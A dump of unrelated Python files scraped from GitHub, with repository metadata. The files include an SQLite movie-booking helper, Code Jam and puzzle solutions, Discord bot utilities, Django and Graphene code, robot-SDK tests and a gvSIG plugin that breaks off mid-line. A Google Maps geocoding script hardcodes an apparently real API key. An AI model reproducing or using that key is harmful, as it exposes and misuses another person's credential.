movie, eventually gets sent to the client\n :param movie_title: the title of the movie\n :return: a list of all dates for the given movie\n \"\"\"\n with mutex:\n resp = db.execute(\"SELECT date FROM movies WHERE title = ?\", (movie_title,))\n return [i[\"date\"] for i in resp.fetchall()]\n\n\ndef get_times(movie_title, date) -> list[str]:\n \"\"\"\n Returns a list of all times for the given movie, eventually gets sent to the client\n :param movie_title: the title of the movie\n :return: a list of all times for the given movie\n \"\"\"\n with mutex:\n resp = db.execute(\"SELECT time FROM movies WHERE title = ? AND date = ?\", (movie_title, date))\n return [i[\"time\"] for i in resp.fetchall()]\n\n\ndef get_theaters() -> list[sqlite3.Row]:\n \"\"\"\n Returns a list of all theaters, eventually gets sent to the client\n :return: a list of all theaters\n \"\"\"\n with mutex:\n resp = db.execute(\"SELECT * FROM theaters\")\n return resp.fetchall()\n\n\ndef get_theater_by_id(theater_id: int) -> sqlite3.Row:\n \"\"\"\n Returns the theater with the given id\n :param theater_id:\n :return: the theater with the given id\n \"\"\"\n with mutex:\n resp = db.execute(\"SELECT * FROM theaters WHERE id = ?\", (theater_id,))\n return resp.fetchone()","repo_name":"Midnight145/HackUNT-2022","sub_path":"server/SQLHelper.py","file_name":"SQLHelper.py","file_ext":"py","file_size_in_byte":9766,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23418081791","text":"def read_tests():\n with open('soln','w') as soln:\n with open('p1data') as f:\n ntests = int(f.readline())\n #print ntests\n\n for rnd in range(ntests):\n answer1,grid1 = read_test(f)\n answer2,grid2 = read_test(f)\n #print rnd,answer1,answer2\n p1(answer1,answer2,grid1,grid2,rnd+1,soln)\n\ndef read_test(f):\n answer = int(f.readline())\n grid = [[int(x) for x in f.readline().split()]\n for s in range(4)]\n return answer,grid\n\ndef p1(x,y,grid1,grid2,rnd,soln):\n rightnum = []\n for n in range(1,17):\n if n in grid1[x-1] and n in grid2[y-1]:\n rightnum.append(n)\n\n #print rightnum\n if len(rightnum) == 0:\n print >>soln, \"Case #%i: Volunteer cheated!\" % rnd\n elif len(rightnum) == 1:\n print >>soln, \"Case #%i: %i\" % (rnd,rightnum[0])\n elif len(rightnum) > 1:\n print >>soln, \"Case #%i: Bad magician!\" % (rnd)\n\nif __name__ == \"__main__\":\n read_tests()\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_135/3882.py","file_name":"3882.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38565146305","text":"import emojize\n\ndef converter(input_text):\n mensage = emojize.emojize(input_text)\n return mensage\n\ndef main():\n user_input = input(\"Input: \")\n final = converter(user_input)\n print(f\"Output: {final}\")\n\nif __name__ == \"__main__\":\n main()","repo_name":"nogueira-tiago/CS50-Python","sub_path":"problem_set_4/emojize/emojize.py","file_name":"emojize.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14042578936","text":"import lithops\nfrom lithops.storage.cloud_proxy import open, os\n\n\ndef map_func(x):\n with open(f'test/{x}.txt', 'w') as file:\n file.write('Hello from function number {}!'.format(str(x)))\n return x\n\n\nif __name__ == \"__main__\":\n # Simple file write\n filepath = 'bar/foo.txt'\n with open(filepath, 'w') as f:\n f.write('Hello world!')\n\n # Listing directories\n dirname = os.path.dirname(filepath)\n print(os.listdir(dirname))\n\n # Read the previously created file\n with open(filepath, 'r') as f:\n print(f.read(6))\n print(f.read())\n\n # Remove the file\n os.remove(filepath)\n print(os.listdir(dirname))\n\n # Get files that have been created in functions\n fexec = lithops.FunctionExecutor()\n fexec.map(map_func, [1, 2, 3, 4])\n res = fexec.get_result()\n\n with open('test/3.txt', 'r') as f:\n print(f.read())\n\n # os.walk example\n with open('test/subfolder/hello.txt', 'w') as f:\n f.write('hello')\n\n for root, dirs, files in os.walk('/', topdown=True):\n print(root, dirs, files)\n print('-------')\n\n os.remove('/test')\n","repo_name":"lithops-cloud/lithops","sub_path":"examples/storage_os.py","file_name":"storage_os.py","file_ext":"py","file_size_in_byte":1122,"program_lang":"python","lang":"en","doc_type":"code","stars":287,"dataset":"github-code","pt":"61"} +{"seq_id":"31948878730","text":"import subprocess\n\ndef getElapsedTimeAndNode(out):\n templist = out.splitlines()\n ls = []\n ls.append(templist[0][24:])\n ls.append(templist[1][13:-1])\n return ls\n\ndef average(times):\n return float(sum(times)/len(times))\n\ncmd_make_clean = ['make', 'clean']\ncmd_make_everything = ['make', 'everything']\nproblem_sizes = ['5300', '13000', '18789']\n\nnum_run = 10\n\n# clean and compile everything\nsubprocess.call(cmd_make_clean, cwd ='../Development_Kit_Lab4')\nsubprocess.call(cmd_make_everything, cwd ='../Development_Kit_Lab4')\n\nfilename = 'single_results_' + str(num_run) + '.txt'\nfile = open(filename, 'w')\nfile.write(\"run single \" + str(num_run) + \" times\\n\\n\")\n\n# loop problem sizes\nfor size in problem_sizes:\n times = []\n\n cmd_datatrim = ['./datatrim', '-b', size]\n datatrim_out = subprocess.check_output(cmd_datatrim, cwd ='../Development_Kit_Lab4')\n print(datatrim_out)\n file.write(datatrim_out)\n\n # run the program 10 times or as specified\n for i in range(num_run):\n cmd_main = ['./main']\n out = subprocess.check_output(cmd_main, cwd ='../Development_Kit_Lab4')\n time = float(getElapsedTimeAndNode(out)[1])\n print(time)\n times.append(time)\n file.write(str(time) + '\\n')\n\n calc_avg = average(times)\n\n print(\"\\naverage:\\n\")\n print(str(calc_avg) + '\\n\\n\\n')\n\n file.write(\"\\naverage:\\n\")\n file.write(str(calc_avg) + '\\n\\n\\n')\n\nfile.close()","repo_name":"HiltonTR/ECE420","sub_path":"Lab4/Lab4_Results/run_single.py","file_name":"run_single.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13035663513","text":"import concurrent\n\nimport grpc\nimport pytest\n\nimport bosdyn.client.map_processing\nfrom bosdyn.api import header_pb2, lease_pb2, time_sync_pb2\nfrom bosdyn.api.graph_nav import map_pb2, map_processing_pb2, map_processing_service_pb2_grpc\nfrom bosdyn.client.exceptions import InternalServerError, UnsetStatusError\nfrom bosdyn.client.map_processing import __ANCHORING_COMMON_ERRORS, MapProcessingServiceClient\nfrom bosdyn.client.time_sync import TimeSyncEndpoint\n\n\nclass MockMapProcessingServicer(map_processing_service_pb2_grpc.MapProcessingServiceServicer):\n \"\"\"MapProcessing servicer for testing.\n\n Provides simple, controllable implementations of certain RPCs.\n \"\"\"\n\n def __init__(self):\n super(MockMapProcessingServicer, self).__init__()\n self.common_header_code = header_pb2.CommonError.CODE_OK\n self.topology_process_status = map_processing_pb2.ProcessTopologyResponse.STATUS_OK\n self.anchoring_process_status = map_processing_pb2.ProcessAnchoringResponse.STATUS_OK\n self.graph = map_pb2.Graph()\n ed = self.graph.edges.add()\n ed.id.from_waypoint = 'w1'\n ed.id.to_waypoint = 'w2'\n\n def ProcessTopology(self, request, context):\n \"\"\"Fake ProcessTopology responses.\"\"\"\n resp = map_processing_pb2.ProcessTopologyResponse()\n resp.header.error.code = self.common_header_code\n resp.status = self.topology_process_status\n resp.new_subgraph.CopyFrom(self.graph)\n yield resp\n\n def ProcessAnchoring(self, request, context):\n \"\"\"Fake ProcessAnchoring responses.\"\"\"\n resp = map_processing_pb2.ProcessAnchoringResponse()\n resp.header.error.code = self.common_header_code\n resp.status = self.anchoring_process_status\n yield resp\n\n\n@pytest.fixture\ndef client(time_sync):\n c = MapProcessingServiceClient()\n c._timesync_endpoint = time_sync\n return c\n\n\n@pytest.fixture\ndef service():\n return MockMapProcessingServicer()\n\n\n@pytest.fixture\ndef time_sync():\n ts = TimeSyncEndpoint(None)\n ts._locked_previous_response = time_sync_pb2.TimeSyncUpdateResponse()\n ts.response.state.status = time_sync_pb2.TimeSyncState.STATUS_OK\n return ts\n\n\n@pytest.fixture\ndef server(client, service):\n server = grpc.server(concurrent.futures.ThreadPoolExecutor(max_workers=1))\n map_processing_service_pb2_grpc.add_MapProcessingServiceServicer_to_server(service, server)\n port = server.add_insecure_port('localhost:0')\n channel = grpc.insecure_channel('localhost:{}'.format(port))\n client.channel = channel\n server.start()\n yield server\n server.stop(0)\n\n\ndef test_process_topology_exceptions(client, service, server):\n make_call = lambda: client.process_topology(map_processing_pb2.ProcessTopologyRequest.Params(),\n True)\n make_call()\n\n service.topology_process_status = map_processing_pb2.ProcessTopologyResponse.STATUS_INVALID_GRAPH\n with pytest.raises(bosdyn.client.map_processing.InvalidGraphError):\n make_call()\n\n service.topology_process_status = map_processing_pb2.ProcessTopologyResponse.STATUS_MISSING_WAYPOINT_SNAPSHOTS\n with pytest.raises(bosdyn.client.map_processing.MissingSnapshotsError):\n make_call()\n\n\ndef test_process_anchoring_exceptions(client, service, server):\n make_call = lambda: client.process_anchoring(\n map_processing_pb2.ProcessAnchoringRequest.Params(), True, False)\n make_call()\n\n for (status, error) in __ANCHORING_COMMON_ERRORS.items():\n service.anchoring_process_status = status\n with pytest.raises(error):\n make_call()\n","repo_name":"boston-dynamics/spot-sdk","sub_path":"python/bosdyn-client/tests/test_map_processing_client.py","file_name":"test_map_processing_client.py","file_ext":"py","file_size_in_byte":3633,"program_lang":"python","lang":"en","doc_type":"code","stars":2148,"dataset":"github-code","pt":"61"} +{"seq_id":"22446601741","text":"file = open('input3.txt', 'r')\nlines = file.readlines()\ny = 0\nzero_count = 0\none_count = 0\nfinal_number = ''\nfinal_reverse = ''\n\nwhile y < 12:\n for line in lines:\n characters = list(line)\n if characters[y] == '0':\n zero_count += 1\n else:\n one_count += 1\n if zero_count > one_count:\n final_number += '0'\n else:\n final_number += '1'\n zero_count = 0\n one_count = 0\n y += 1\n\nprint(f'The final Binary number is {final_number}, converted is', int(final_number, 2))\n\nfor x in final_number:\n if x == '0':\n final_reverse += '1'\n else:\n final_reverse += '0'\nprint(f'The final Reverse number is {final_reverse}, converted is', int(final_reverse, 2))\n\nprint(\"As such, answer is Result 1 * Result 2, which is\", int(final_number, 2) * int(final_reverse, 2))\n","repo_name":"naspapas/kata_challenges","sub_path":"2022/ex3.py","file_name":"ex3.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"5165218476","text":"from random import choice\nimport asyncio\nfrom typing import Callable\nimport discord\nimport configuration\nimport time\nfrom datetime import datetime\n\n\ndef get_member_by_id_or_name(message, user: str) -> discord.Member or None:\n if user == \"\":\n return None\n\n member = None\n try:\n member = message.guild.get_member(int(user.strip('<@!>')))\n except ValueError:\n pass\n\n if member == None:\n member = message.guild.get_member_named(user)\n\n return member\n\n\nasync def split_into_member_and_reason(message: discord.Message, parameters: str) -> tuple:\n \"\"\"\n Splits parameters into member and reason.\n Used for most moderation commands.\n \"\"\"\n\n if parameters == \"\":\n return (None, None)\n\n split_params = parameters.split(maxsplit=1)\n member = get_member_by_id_or_name(message, split_params[0])\n try:\n reason = split_params[1].lstrip('| ')\n except IndexError:\n reason = None\n\n if member == None:\n # Reversed to split the last | in case someone has | in their name\n split_params_pipe = parameters[::-1].split(\"|\", 1)\n\n member = get_member_by_id_or_name(message,\n split_params_pipe[len(split_params_pipe) - 1][::-1].rstrip())\n\n if len(split_params_pipe) == 2:\n # Unreverse\n reason = split_params_pipe[0][::-1].lstrip()\n else:\n reason = None\n\n return (member, reason)\n\n\ndef try_get_valid_user_id(id: str) -> int:\n try:\n user_id = id.strip(\"<@!>\")\n user_id = int(user_id)\n except ValueError:\n return 0\n if len(str(user_id)) not in range(17, 20):\n return 0\n\n return user_id\n\n\ndef choose_random(choices: list):\n \"\"\"Returns a random item from `choices`\"\"\"\n return choice(choices)\n\n\ndef check_mod_or_test_server(message: discord.Message) -> bool:\n for role in configuration.MODERATOR_ROLE:\n if message.guild.get_role(role) in message.author.roles \\\n or message.guild.id != configuration.GUILD_ID:\n return True\n return False\n\n\n\nclass ReactionPageHandle():\n def __init__(self, client: discord.Client, message: discord.Message, op: discord.Member,\n data_source: Callable[[int, int], discord.Embed], page: int, total_pages: int):\n\n self.client = client\n self.message = message\n self.op = op\n self.data_source = data_source\n self.page = page\n self.total_pages = total_pages\n \n async def start(self):\n await self.message.add_reaction(\"◀️\")\n await self.message.add_reaction(\"▶️\")\n\n await self.page_change()\n\n\n def check(self, reaction: discord.Reaction, user: discord.Member):\n if self.op.id != user.id or reaction.message.id != self.message.id:\n return False\n\n emoji = reaction.emoji\n\n if emoji != \"◀️\" and emoji != \"▶️\":\n return False\n\n asyncio.get_running_loop().create_task(reaction.remove(user))\n\n if emoji == \"◀️\" and self.page > 0:\n self.page += -1\n elif emoji == \"▶️\" and self.page < self.total_pages:\n self.page += 1\n else:\n return False\n return True\n\n async def page_change(self):\n new_page_embed = self.data_source(self.page, self.total_pages)\n await self.message.edit(embed=new_page_embed)\n try:\n await self.client.wait_for('reaction_add', timeout=30.0, check=self.check)\n await self.page_change()\n except asyncio.TimeoutError:\n await self.message.clear_reactions()\n\ndef datetime_from_utc_to_local(utc):\n epoch = time.mktime(utc.timetuple())\n offset = datetime.fromtimestamp(epoch) - datetime.utcfromtimestamp(epoch)\n return utc + offset","repo_name":"acmauth/AlanBot","sub_path":"src/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":3814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16985274906","text":"from datetime import date\n\nimport pytest\nfrom calendar_api import (\n build_calendar,\n calendar_lookup,\n default_calendar,\n paris_calendar,\n san_fran_calendar,\n)\nfrom markets import Markets\n\n\ndef test_build_calendar(listing):\n q = list(build_calendar(listing, 1, listing.currency))\n assert len(q) == 365\n\n\ndef test_lookup_has_all_markets():\n assert not (\n calendar_lookup.keys() - Markets.__PER_CODE__.keys()\n ), \"custom calendar per market\"\n\n\n@pytest.mark.parametrize(\"dt,expected\", ((\"2022-01-01\", 1), (\"2022-01-05\", 0.7)))\ndef test_san_fran_calendar(dt, expected):\n assert san_fran_calendar(date.fromisoformat(dt)) == expected\n\n\n@pytest.mark.parametrize(\"dt,expected\", ((\"2022-01-01\", 1.5), (\"2022-01-03\", 1)))\ndef test_paris_calendar(dt, expected):\n assert paris_calendar(date.fromisoformat(dt)) == expected\n\n\n@pytest.mark.parametrize(\"dt,expected\", ((\"2022-01-01\", 1), (\"2022-01-07\", 1.25)))\ndef test_default_calendar(dt, expected):\n assert default_calendar(date.fromisoformat(dt)) == expected\n","repo_name":"jezumbro/open-exchange-rate-challenge","sub_path":"test/test_calendar_api.py","file_name":"test_calendar_api.py","file_ext":"py","file_size_in_byte":1041,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"12769544632","text":"import graphene\nfrom graphene_django import DjangoObjectType\nfrom graphene import ObjectType\nimport api.models as app_models\n\nclass PersonType(DjangoObjectType):\n class Meta:\n model = app_models.Person\n\nclass BookingType(DjangoObjectType):\n class Meta:\n model = app_models.Booking\n\nclass Query(graphene.AbstractType):\n all_people = graphene.List(PersonType)\n all_bookings = graphene.List(BookingType)\n\n def resolve_all_people(self, *args, **kwargs):\n return app_models.Person.objects.all()\n\n def resolve_all_bookings(self, *args, **kwargs):\n return app_models.Booking.objects.all()\n\nclass CreatePerson(graphene.Mutation):\n name = graphene.String()\n\n class Arguments:\n name = graphene.String()\n\n def mutate(self, info, name):\n person = app_models.Person(name=name)\n person.save()\n return CreatePerson(\n name=person.name\n )\n\nclass Mutation(graphene.ObjectType):\n create_person = CreatePerson.Field()\n","repo_name":"jcarteaga1/django-graphql","sub_path":"api/graphql/schema.py","file_name":"schema.py","file_ext":"py","file_size_in_byte":1002,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41711838368","text":"\"\"\"\n Proxies are used as base types for instances so that new APIs can be added.\n\"\"\"\nfrom urlparse import urljoin\n\nfrom django.contrib.auth.models import User\n\nfrom slumber.connector.api import get_instance_from_data\nfrom slumber.connector.configuration import INSTANCE_PROXIES, MODEL_PROXIES\nfrom slumber.connector.ua import get, post\n\n\ndef attach_to_local_user(remote_user):\n \"\"\"Return the local user with the remote user object attached to it.\n \"\"\"\n # Django adds get_or_create in some add manner\n # pylint: disable=no-member\n user, _ = User.objects.get_or_create(username=remote_user.username)\n for attr in ['is_active', 'is_staff', 'date_joined', 'is_superuser',\n 'first_name', 'last_name', 'email']:\n v = getattr(remote_user, attr)\n setattr(user, attr, v)\n user.save()\n user.remote_user = remote_user\n # This lambda is necessary, but no idea why\n # pylint: disable = W0108\n user.get_profile = lambda: remote_user.get_profile()\n return user\n\n\nclass UserInstanceProxy(object):\n \"\"\"Proxy that allows forwarding of the User API.\n \"\"\"\n def __init__(self, *a, **kw):\n super(UserInstanceProxy, self).__init__(*a, **kw)\n self._CACHE_TTL = 120\n\n def has_perm(self, permission):\n \"\"\"Forward the permission check.\n \"\"\"\n # We're accessing attributes that are provided by the other types\n # pylint: disable = E1101\n url = urljoin(self._operations['has-permission'], permission)\n _, json = get(url, self._CACHE_TTL)\n return json['is-allowed']\n\n def has_module_perms(self, module):\n \"\"\"Forward the permission check.\n \"\"\"\n # We're accessing attributes that are provided by the other types\n # pylint: disable = E1101\n _, json = get(\n urljoin(self._operations['module-permissions'], module),\n self._CACHE_TTL)\n return json['has_module_perms']\n\n def get_group_permissions(self):\n \"\"\"Forward the group permissions.\n \"\"\"\n # We're accessing attributes that are provided by the other types\n # pylint: disable = E1101\n _, json = get(self._operations['get-permissions'], self._CACHE_TTL)\n return set(json['group_permissions'])\n\n def get_all_permissions(self):\n \"\"\"Forward access to all of the permissions.\n \"\"\"\n # We're accessing attributes that are provided by the other types\n # pylint: disable = E1101\n _, json = get(self._operations['get-permissions'], self._CACHE_TTL)\n return set(json['all_permissions'])\n\n def get_profile(self):\n \"\"\"Forward access to the profile.\n \"\"\"\n # We're accessing attributes that are provided by the other types\n # pylint: disable = E1101\n base_url = self._operations['get-profile']\n _, json = get(base_url, self._CACHE_TTL)\n return get_instance_from_data(base_url, json)\n\nINSTANCE_PROXIES['django/contrib/auth/User/'] = UserInstanceProxy\n\n\nclass UserModelProxy(object):\n \"\"\"Contains the model methods that need to be exposed within the client.\n \"\"\"\n def __init__(self, *a, **kw):\n super(UserModelProxy, self).__init__(*a, **kw)\n self._CACHE_TTL = 120\n\n def authenticate(self, **kwargs):\n \"\"\"Allow a forwarded request for authentication.\n \"\"\"\n # We're accessing attributes that are provided by the other types\n # pylint: disable = E1101\n _, json = post(self._operations['authenticate'], kwargs)\n if json['authenticated']:\n # Pylint can't see the __call__ implemented in another base class\n # pylint: disable = E1102\n remote_user = self(urljoin(self._url, json['user']['url']),\n json['user']['display_name'])\n return attach_to_local_user(remote_user)\n\nMODEL_PROXIES['django/contrib/auth/User/'] = UserModelProxy\n\n","repo_name":"hotkit/django-slumber","sub_path":"slumber/connector/proxies.py","file_name":"proxies.py","file_ext":"py","file_size_in_byte":3905,"program_lang":"python","lang":"en","doc_type":"code","stars":49,"dataset":"github-code","pt":"61"} +{"seq_id":"20551200776","text":"\n#Created on Feb 18, 2018\n#Function to calculate value raise to the power x using Taylor Series\n#@author: ratol\n\n\n# for positive numbers range is up-to 40\n# for negative numbers range is up-to -15\n\ndef fun_ex(value):\n thesum = 1.0\n for i in range(100, 0, -1):\n thesum = 1 + value * thesum / i\n return thesum\n","repo_name":"faeze-mobasheri/CalculatorPro","sub_path":"calculatorFunctions/Exponential/funEx.py","file_name":"funEx.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33790506469","text":"import urllib.request, urllib.parse, urllib.error\r\nimport json\r\n\r\nserviceurl = 'https://maps.googleapis.com/maps/api/geocode/json?'\r\napi_key_url = '&key=AIzaSyBQr3WBCue-BcotVhidmt-tqql7pS17yrQ'\r\n\r\nwhile True:\r\n address = input('Enter Location: ')\r\n if len(address) < 1:\r\n break\r\n\r\n url = serviceurl + urllib.parse.urlencode({'address': address}) + api_key_url\r\n\r\n print('Retrieving {}'.format(url))\r\n uh = urllib.request.urlopen(url)\r\n data = uh.read().decode()\r\n print('Retrieved {} characters'.format(len(data)))\r\n\r\n try:\r\n js = json.loads(data)\r\n except Exception:\r\n js = None\r\n \r\n if not js or 'status' not in js or js['status'] != 'OK':\r\n print('===Failure to Retrieve===')\r\n print(data)\r\n continue\r\n\r\n print(json.dumps(js, indent=4))\r\n\r\n lat = js[\"results\"][0][\"geometry\"][\"location\"][\"lat\"]\r\n lng = js[\"results\"][0][\"geometry\"][\"location\"][\"lng\"]\r\n location = js[\"results\"][0][\"formatted_address\"]\r\n print('Latitude: {}\\tLongitude: {}'.format(lat, lng))\r\n print('Localização: {}'.format(location))\r\n ","repo_name":"EduardoKnop/Python","sub_path":"ex14.py","file_name":"ex14.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8031373257","text":"# -*- coding: utf-8 -*-\n\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='ActiveDebate',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('active_debate', models.CharField(max_length=7, null=True, blank=True)),\n ],\n ),\n migrations.CreateModel(\n name='ActiveRound',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('active_round', models.PositiveSmallIntegerField(null=True, blank=True)),\n ],\n ),\n migrations.CreateModel(\n name='Committee',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('committee_name', models.CharField(max_length=7)),\n ('committee_topic', models.TextField()),\n ],\n ),\n migrations.CreateModel(\n name='Point',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('timestamp', models.DateTimeField(auto_now=True)),\n ('active_debate', models.CharField(max_length=7, null=True, blank=True)),\n ('active_round', models.PositiveSmallIntegerField(null=True, blank=True)),\n ('point_type', models.CharField(default=b'P', max_length=5, choices=[(b'P', b'Point'), (b'DR', b'Direct Response')])),\n ('committee_by', models.ForeignKey(on_delete=models.deletion.CASCADE, to='statisticscore.Committee')),\n ],\n ),\n migrations.CreateModel(\n name='Session',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('session_name', models.CharField(max_length=100)),\n ('session_description', models.CharField(max_length=200)),\n ('session_picture', models.URLField()),\n ('session_country', models.CharField(default=b'AL', max_length=2, choices=[(b'AL', b'Albania'), (b'AM', b'Armenia'), (b'AT', b'Austria'), (b'AZ', b'Azerbaijan'), (b'BY', b'Belarus'), (b'BE', b'Belgium'), (b'BA', b'Bosnia and Herzegovina'), (b'HR', b'Croatia'), (b'CY', b'Cyprus'), (b'CZ', b'Czech Republic'), (b'DK', b'Denmark'), (b'EE', b'Estonia'), (b'FI', b'Finland'), (b'FR', b'France'), (b'GE', b'Georgia'), (b'DE', b'Germany'), (b'GR', b'Greece'), (b'HU', b'Hungary'), (b'IE', b'Ireland'), (b'IT', b'Italy'), (b'XK', b'Kosovo'), (b'LV', b'Latvia'), (b'LT', b'Lithuania'), (b'LU', b'Luxembourg'), (b'NL', b'The Netherlands'), (b'NO', b'Norway'), (b'PL', b'Poland'), (b'PT', b'Portugal'), (b'RO', b'Romania'), (b'RU', b'Russia'), (b'RS', b'Serbia'), (b'SI', b'Slovenia'), (b'ES', b'Spain'), (b'SE', b'Sweden'), (b'CH', b'Swizerland'), (b'TR', b'Turkey'), (b'UA', b'Ukraine'), (b'GB', b'The United Kingdom')])),\n ('session_start_date', models.DateTimeField(verbose_name=b'start date')),\n ('session_end_date', models.DateTimeField(verbose_name=b'end date')),\n ('session_rounds_enabled', models.BooleanField(default=True, verbose_name=b'debate rounds enabled')),\n ('session_subtopics_enabled', models.BooleanField(default=True, verbose_name=b'committee subtopics enabled')),\n ('session_voting_enabled', models.BooleanField(default=True, verbose_name=b'session-wide voting enabled')),\n ('session_max_rounds', models.PositiveSmallIntegerField(default=3)),\n ('session_admin_user', models.ForeignKey(on_delete=models.deletion.CASCADE, related_name='session_admin', blank=True, to=settings.AUTH_USER_MODEL)),\n ('session_submission_user', models.ForeignKey(on_delete=models.deletion.CASCADE, related_name='session_submit', blank=True, to=settings.AUTH_USER_MODEL)),\n ],\n ),\n migrations.CreateModel(\n name='SubTopic',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('subtopic_text', models.CharField(max_length=200, null=True, blank=True)),\n ('committee', models.ForeignKey(on_delete=models.deletion.CASCADE, blank=True, to='statisticscore.Committee', null=True)),\n ('session', models.ForeignKey(on_delete=models.deletion.CASCADE, blank=True, to='statisticscore.Session', null=True)),\n ],\n ),\n migrations.CreateModel(\n name='Vote',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('timestamp', models.DateTimeField(auto_now=True, null=True)),\n ('active_debate', models.CharField(max_length=7)),\n ('in_favour', models.PositiveSmallIntegerField()),\n ('against', models.PositiveSmallIntegerField()),\n ('abstentions', models.PositiveSmallIntegerField()),\n ('absent', models.PositiveSmallIntegerField()),\n ('committee_by', models.ForeignKey(on_delete=models.deletion.CASCADE, to='statisticscore.Committee')),\n ('session', models.ForeignKey(on_delete=models.deletion.CASCADE, to='statisticscore.Session')),\n ],\n ),\n migrations.AddField(\n model_name='point',\n name='session',\n field=models.ForeignKey(on_delete=models.deletion.CASCADE, to='statisticscore.Session'),\n ),\n migrations.AddField(\n model_name='point',\n name='subtopics',\n field=models.ManyToManyField(to='statisticscore.SubTopic', blank=True),\n ),\n migrations.AddField(\n model_name='committee',\n name='session',\n field=models.ForeignKey(on_delete=models.deletion.CASCADE, to='statisticscore.Session'),\n ),\n migrations.AddField(\n model_name='activeround',\n name='session',\n field=models.ForeignKey(on_delete=models.deletion.CASCADE, to='statisticscore.Session'),\n ),\n migrations.AddField(\n model_name='activedebate',\n name='session',\n field=models.ForeignKey(on_delete=models.deletion.CASCADE, to='statisticscore.Session'),\n ),\n ]\n","repo_name":"eyp-developers/statistics","sub_path":"statisticscore/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":6743,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"3775015721","text":"# import os\nimport datetime\nfrom playsound import playsound\nfrom CORE.Speak import speak\n\n\ndef alarm(timing):\n altime = str(datetime.datetime.now().strptime(timing, \"%I:%M %p\"))\n altime = altime[11:-3]\n alarmH = altime[:2]\n alarmH = int(alarmH)\n alarmM = altime[3:5]\n alarmM = int(alarmM)\n speak(\"Alarm is set for\" + str({timing}))\n print(f\"Alarm is set for {timing}\")\n while True:\n if alarmH == datetime.datetime.now().hour:\n if alarmM == datetime.datetime.now().minute:\n print(\"Time to wake up\")\n speak(\"Time to wake up\")\n playsound('alarm_alarm.mp3')\n break\n\n elif alarmM < datetime.datetime.now().minute:\n break\n","repo_name":"Saiber440/DIGI","sub_path":"BASIC_FUNCTIONALITIES/Alarm.py","file_name":"Alarm.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38571534986","text":"# encoding: utf-8\n\nimport gvsig\n\nfrom gvsig import getResource\n\nfrom java.io import File\nfrom org.gvsig.andami import PluginsLocator\nfrom org.gvsig.app import ApplicationLocator\nfrom org.gvsig.scripting.app.extension import ScriptingExtension\nfrom org.gvsig.tools import ToolsLocator\nfrom org.gvsig.tools.swing.api import ToolsSwingLocator\n\nfrom addons.AccidentRateTests.searchbookmarks.searchbookmarkspanel import TestSearchBookmarsPanel\n\nclass AccidentRateTestsExtension(ScriptingExtension):\n def __init__(self):\n pass\n\n def canQueryByAction(self):\n return True\n\n def isEnabled(self,action):\n return True\n\n def isVisible(self,action):\n return True\n \n def execute(self,actionCommand, *args):\n actionCommand = actionCommand.lower()\n if actionCommand == \"tools-accidentrate-testsearchbookmars\":\n TestSearchBookmarsPanel().showWindow(\"Test favoritos de la ficha de busqueda\")\n\ndef selfRegister():\n application = ApplicationLocator.getManager()\n\n #\n # Registramos las traducciones\n i18n = ToolsLocator.getI18nManager()\n i18n.addResourceFamily(\"text\",File(getResource(__file__,\"i18n\")))\n\n #\n # Registramos los iconos en el tema de iconos\n icon = File(getResource(__file__,\"images\",\"testsearchbookmars.png\")).toURI().toURL()\n iconTheme = ToolsSwingLocator.getIconThemeManager().getCurrent()\n iconTheme.registerDefault(\"scripting.AccidentRateTestsExtension\", \"action\", \"tools-accidentrate-testsearchbookmars\", None, icon)\n\n #\n # Creamos la accion \n extension = AccidentRateTestsExtension()\n actionManager = PluginsLocator.getActionInfoManager()\n action = actionManager.createAction(\n extension, \n \"tools-accidentrate-testsearchbookmars\", # Action name\n u\"TestSearchBookmars\", # Text\n \"tools-accidentrate-testsearchbookmars\", # Action command\n \"tools-accidentrate-testsearchbookmars\", # Icon name\n None, # Accelerator\n 650700601, # Position \n u\"Tests de favoritos de la ficha de búsqueda\" # Tooltip\n )\n action = actionManager.registerAction(action)\n application.addMenu(action, u\"tools/_AccidentRate/Administration/Tests de favoritos de la 